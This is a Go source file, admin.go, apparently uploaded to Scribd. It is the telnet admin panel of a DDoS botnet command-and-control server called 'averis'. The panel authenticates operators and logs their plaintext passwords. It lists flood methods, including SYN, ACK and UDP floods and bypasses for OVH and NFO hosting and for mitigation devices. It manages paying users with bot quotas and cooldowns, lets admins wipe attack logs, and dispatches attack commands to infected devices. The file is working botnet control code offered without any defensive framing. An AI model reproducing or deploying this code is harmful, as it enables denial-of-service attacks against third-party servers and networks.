0% found this document useful (0 votes)
49 views

admin.go

Uploaded by

dinoskokic2010
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
49 views

admin.go

Uploaded by

dinoskokic2010
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 9

package main

import (
"fmt"
"log"
"net"
"os"
"strconv"
"strings"
"time"
)

type Admin struct {


conn net.Conn
}

func NewAdmin(conn net.Conn) *Admin {


return &Admin{conn}
}

func (this *Admin) Handle() {


this.conn.Write([]byte("\033[?1049h"))
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
defer func() {
this.conn.Write([]byte("\033[?1049l"))
}()
this.conn.Write([]byte(fmt.Sprintf("\033]0;Please enter your credentials.\
007")))
this.conn.SetDeadline(time.Now().Add(300 * time.Second))
this.conn.Write([]byte("\033[2J\033[1H"))
this.conn.Write([]byte("\033[36mUsername \033[37m> \033[0m"))
username, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.SetDeadline(time.Now().Add(300 * time.Second))
this.conn.Write([]byte("\r\n"))
this.conn.Write([]byte("\033[36mPassword \033[37m> \033[0m"))
password, err := this.ReadLine(true)
if err != nil {
return
}
this.conn.SetDeadline(time.Now().Add(300 * time.Second))
this.conn.Write([]byte("\r\n"))
spinBuf := []byte{'a', 'v', 'e', 'r', 'i', 's', '.', '.', '.'}
for i := 0; i < 15; i++ {
this.conn.Write([]byte(fmt.Sprintf("\033]0;Waiting...\007")))
this.conn.Write(append([]byte("\r\x1b[36m💫 \x1b[1;30m"), spinBuf[i
%len(spinBuf)]))
time.Sleep(time.Duration(10) * time.Millisecond)
}
this.conn.Write([]byte("\r\n"))
var loggedIn bool
var userInfo AccountInfo
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
this.conn.Write([]byte("\r\x1b[36mWrong credentials, try again.\r\n"))
buf := make([]byte, 1)
this.conn.Read(buf)
return
}
if len(username) > 0 && len(password) > 0 {
log.SetFlags(log.LstdFlags)
loginLogsOutput, err := os.OpenFile("logs/logins.txt", os.O_APPEND|
os.O_CREATE|os.O_WRONLY, 0665)
if err != nil {
fmt.Println("Error: ", err)
}
success := "successful login"
usernameFormat := "username:"
passwordFormat := "password:"
ipFormat := "ip:"
cmdSplit := "|"
log.SetOutput(loginLogsOutput)
log.Println(cmdSplit, success, cmdSplit, usernameFormat, username,
cmdSplit, passwordFormat, password, cmdSplit, ipFormat, this.conn.RemoteAddr())
}
this.conn.Write([]byte("\033[2J\033[1H"))
this.conn.Write([]byte(fmt.Sprintf("\r\x1b[36mwelcome to averis, %s!\r\n",
username)))
this.conn.Write([]byte("\r\x1b[36m? to see all available commands!\r\n"))
this.conn.Write([]byte("\r\n\033[0m"))

go func() {
i := 0
for {
var BotCount int
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -
1 {
BotCount = userInfo.maxBots
} else {
BotCount = clientList.Count()
}

time.Sleep(time.Second)
if userInfo.admin == 1 {
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d
Devices :: %d Running Attacks :: %d Sent Attacks :: %d users\007", BotCount,
database.fetchRunningAttacks(), database.fetchAttacks(), database.fetchUsers())));
err != nil {
this.conn.Close()
break
}
}
if userInfo.admin == 0 {
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d
Devices :: %d Running Attacks\007", BotCount, database.fetchRunningAttacks())));
err != nil {
this.conn.Close()
break
}
}
i++
if i%60 == 0 {
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
}
}
}()
for {
var botCatagory string
var botCount int
this.conn.Write([]byte("\x1b[36m \x1b[36m" + username + " \x1b[36m●
averis \033[0m\x1b[36m ➤➤ "))
cmd, err := this.ReadLine(false)
if err != nil || cmd == "exit" || cmd == "quit" {
return
}
if cmd == "" {
continue
}
if err != nil || cmd == "cls" || cmd == "clear" || cmd == "c" {
this.conn.Write([]byte("\033[2J\033[1;1H"))
this.conn.Write([]byte("\r\x1b[34m╔═╗╦ ╦╔═╗╦═╗╦╔═╗\r\n"))
this.conn.Write([]byte("\r\x1b[36m╠═╣╚╗╔╝║╣ ╠╦╝║╚═╗\r\n"))
this.conn.Write([]byte("\r\x1b[34m╩ ╩ ╚╝ ╚═╝╩╚═╩╚═╝\r\n"))
this.conn.Write([]byte("\r\n\033[0m"))
continue
}
if cmd == "help" || cmd == "HELP" || cmd == "?" || cmd == "methods" {
this.conn.Write([]byte("\033[2J\033[1H"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mUDP - UDP
packet flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mTCP - TCP
packet flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mOVHDROP - TCP
packet flood for OVH hosting \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mBYPASS - UDP
packet flood with bypass \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mHEX - HEX
flood with length=1400 \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mNFO -
Bypass for NFO servers \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mRAW - UDP
packet flood through raw socket \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mCUDP - UDP
flood with custom payload \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mHANDSHAKE -
Stomp/handshake flood to bypass mitigation devices \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mNUDP - UDP
flood optimized for higher PPS rate \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mACK - ACK
flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mSTD - STD
flood (UID1 supported) \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mSYN - SYN
flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mOVHUDP - OVH
UDP flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mUDPHEX -
UDPHEX flood \r\n"))
continue
}
if err != nil || cmd == "logout" || cmd == "LOGOUT" {
return
}
if userInfo.admin == 1 && cmd == "xnxxhelp" {
this.conn.Write([]byte("\033[2J\033[1H"))
this.conn.Write([]byte("\x1b[36mxnxxuser \x1b[34m- \
x1b[36mADD NEW NORMAL USER\r\n"))
this.conn.Write([]byte("\x1b[36mxnxxadmin \x1b[34m- \
x1b[36mADD NEW ADMIN\r\n"))
this.conn.Write([]byte("\x1b[36mxnxxremove \x1b[34m- \
x1b[36mREMOVE USER\r\n"))
this.conn.Write([]byte("\x1b[36mxnxxlogs \x1b[34m- \
x1b[36mREMOVE ATTACKS LOGS\r\n"))
this.conn.Write([]byte("\x1b[36mcount \x1b[34m- \
x1b[36mSHOW ALL BOTS\r\n"))
continue
}
if len(cmd) > 0 {
log.SetFlags(log.LstdFlags)
output, err := os.OpenFile("logs/commands.txt", os.O_APPEND|
os.O_CREATE|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("Error: ", err)
}
usernameFormat := "username:"
cmdFormat := "command:"
ipFormat := "ip:"
cmdSplit := "|"
log.SetOutput(output)
log.Println(cmdSplit, usernameFormat, username, cmdSplit,
cmdFormat, cmd, cmdSplit, ipFormat, this.conn.RemoteAddr())
}

botCount = userInfo.maxBots
if userInfo.admin == 1 && cmd == "xnxxadmin" {
this.conn.Write([]byte("Username: "))
new_un, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("Password: "))
new_pw, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("-1 for Full Bots.\r\n"))
this.conn.Write([]byte("Allowed Bots: "))
max_bots_str, err := this.ReadLine(false)
if err != nil {
return
}
max_bots, err := strconv.Atoi(max_bots_str)
if err != nil {
continue
}
this.conn.Write([]byte("0 for Max attack duration. \r\n"))
this.conn.Write([]byte("Allowed Duration: "))
duration_str, err := this.ReadLine(false)
if err != nil {
return
}
duration, err := strconv.Atoi(duration_str)
if err != nil {
continue
}
this.conn.Write([]byte("0 for no cooldown. \r\n"))
this.conn.Write([]byte("Cooldown: "))
cooldown_str, err := this.ReadLine(false)
if err != nil {
return
}
cooldown, err := strconv.Atoi(cooldown_str)
if err != nil {
continue
}
this.conn.Write([]byte("Username: " + new_un + "\r\n"))
this.conn.Write([]byte("Password: " + new_pw + "\r\n"))
this.conn.Write([]byte("Duration: " + duration_str + "\r\n"))
this.conn.Write([]byte("Cooldown: " + cooldown_str + "\r\n"))
this.conn.Write([]byte("Bots: " + max_bots_str + "\r\n"))
this.conn.Write([]byte(""))
this.conn.Write([]byte("Confirm(y): "))
confirm, err := this.ReadLine(false)
if err != nil {
return
}
if confirm != "y" {
continue
}
if !database.createAdmin(new_un, new_pw, max_bots, duration,
cooldown) {
this.conn.Write([]byte("Failed to create Admin! \r\n"))
} else {
this.conn.Write([]byte("Admin created! \r\n"))
}
continue
}

if userInfo.admin == 1 && cmd == "xnxxlogs" {


this.conn.Write([]byte("\033[1;91mClear attack logs\033[1;33m?
(y/n): \033[0m"))
confirm, err := this.ReadLine(false)
if err != nil {
return
}
if confirm != "y" {
continue
}
if !database.CleanLogs() {
this.conn.Write([]byte(fmt.Sprintf("\033[01;31mError, can't
clear logs, please check debug logs\r\n")))
} else {
this.conn.Write([]byte("\033[1;92mAll Attack logs has been
cleaned !\r\n"))
fmt.Println("\033[1;91m[\033[1;92mServerLogs\033[1;91m]
Logs has been cleaned by \033[1;92m" + username + " \033[1;91m!\r\n")
}
continue
}

if userInfo.admin == 1 && cmd == "xnxxremove" {


this.conn.Write([]byte("Username: "))
new_un, err := this.ReadLine(false)
if err != nil {
return
}
if !database.removeUser(new_un) {
this.conn.Write([]byte("User doesn't exists.\r\n"))
} else {
this.conn.Write([]byte("User removed\r\n"))
}
continue
}

if userInfo.admin == 1 && cmd == "xnxxuser" {


this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m Enter
New Username: "))
new_un, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m Choose
New Password: "))
new_pw, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m Enter
Bot Count (-1 For Full Bots): "))
max_bots_str, err := this.ReadLine(false)
if err != nil {
return
}
max_bots, err := strconv.Atoi(max_bots_str)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m-\x1b[1;30m>\
x1b[1;30m \x1b[1;30m%s\033[0m\r\n", "Failed To Parse The Bot Count")))
continue
}
this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m Max
Attack Duration (-1 For None): "))
duration_str, err := this.ReadLine(false)
if err != nil {
return
}
duration, err := strconv.Atoi(duration_str)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m-\x1b[1;30m>\
x1b[1;30m \x1b[0;37%s\033[0m\r\n", "Failed To Parse The Attack Duration Limit")))
continue
}
this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m Cooldown
Time (0 For None): "))
cooldown_str, err := this.ReadLine(false)
if err != nil {
return
}
cooldown, err := strconv.Atoi(cooldown_str)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m-\x1b[1;30m>\
x1b[1;30m \x1b[1;30m%s\033[0m\r\n", "Failed To Parse The Cooldown")))
continue
}
this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m New
Account Info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBotcount:
" + max_bots_str + "\r\nContinue? (Y/N): "))
confirm, err := this.ReadLine(false)
if err != nil {
return
}
if confirm != "y" {
continue
}
if !database.CreateUser(new_un, new_pw, max_bots, duration,
cooldown) {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m-\x1b[1;30m>\
x1b[1;30m \x1b[1;30m%s\033[0m\r\n", "Failed To Create New User. An Unknown Error
Occured.")))
} else {
this.conn.Write([]byte("\x1b[1;30m-\x1b[1;30m>\x1b[1;30m
User Added Successfully.\033[0m\r\n"))
}
continue
}
if userInfo.admin == 1 && cmd == "count" {
botCount = clientList.Count()
m := clientList.Distribution()
for k, v := range m {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;37m%s: \
x1b[1;31m%d\033[0m\r\n\033[0m", k, v)))
}
this.conn.Write([]byte(fmt.Sprintf("\x1b[36mTotal Devices: \
x1b[1;31m%d\r\n\033[0m", botCount)))
continue
}
if cmd[0] == '-' {
countSplit := strings.SplitN(cmd, " ", 2)
count := countSplit[0][1:]
botCount, err = strconv.Atoi(count)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30mFailed To
Parse Botcount \"%s\"\033[0m\r\n", count)))
continue
}
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30mBot Count To
Send Is Bigger Than Allowed Bot Maximum\033[0m\r\n")))
continue
}
cmd = countSplit[1]
}
if cmd[0] == '@' {
cataSplit := strings.SplitN(cmd, " ", 2)
botCatagory = cataSplit[0][1:]
cmd = cataSplit[1]
}

atk, err := NewAttack(cmd, userInfo.admin)


if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m%s\033[0m\r\n",
err.Error())))
} else {
buf, err := atk.Build()
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m%s\033[0m\r\
n", err.Error())))
} else {
if can, err := database.CanLaunchAttack(username,
atk.Duration, cmd, botCount, 0); !can {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;30m%s\
033[0m\r\n", err.Error())))
} else if !database.ContainsWhitelistedTargets(atk) {
this.conn.Write([]byte(fmt.Sprintf("\x1b[1;36mAttack
sent to all devices!\033[0m\r\n")))
clientList.QueueBuf(buf, botCount, botCatagory)
} else {
fmt.Println("Blocked Attack By " + username + " To
Whitelisted Prefix")
}
}
}
}
}

func (this *Admin) ReadLine(masked bool) (string, error) {


buf := make([]byte, 1024)
bufPos := 0

for {
n, err := this.conn.Read(buf[bufPos : bufPos+1])
if err != nil || n != 1 {
return "", err
}
if buf[bufPos] == '\xFF' {
n, err := this.conn.Read(buf[bufPos : bufPos+2])
if err != nil || n != 2 {
return "", err
}
bufPos--
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
if bufPos > 0 {
this.conn.Write([]byte(string(buf[bufPos])))
bufPos--
}
bufPos--
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] ==
'\x09' {
bufPos--
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
this.conn.Write([]byte("\r\n"))
return string(buf[:bufPos]), nil
} else if buf[bufPos] == 0x03 {
this.conn.Write([]byte("^C\r\n"))
return "", nil
} else {
if buf[bufPos] == '\x1B' {
buf[bufPos] = '^'
this.conn.Write([]byte(string(buf[bufPos])))
bufPos++
buf[bufPos] = '['
this.conn.Write([]byte(string(buf[bufPos])))
} else if masked {
this.conn.Write([]byte("*"))
} else {
this.conn.Write([]byte(string(buf[bufPos])))
}
}
bufPos++
}
return string(buf), nil
}

You might also like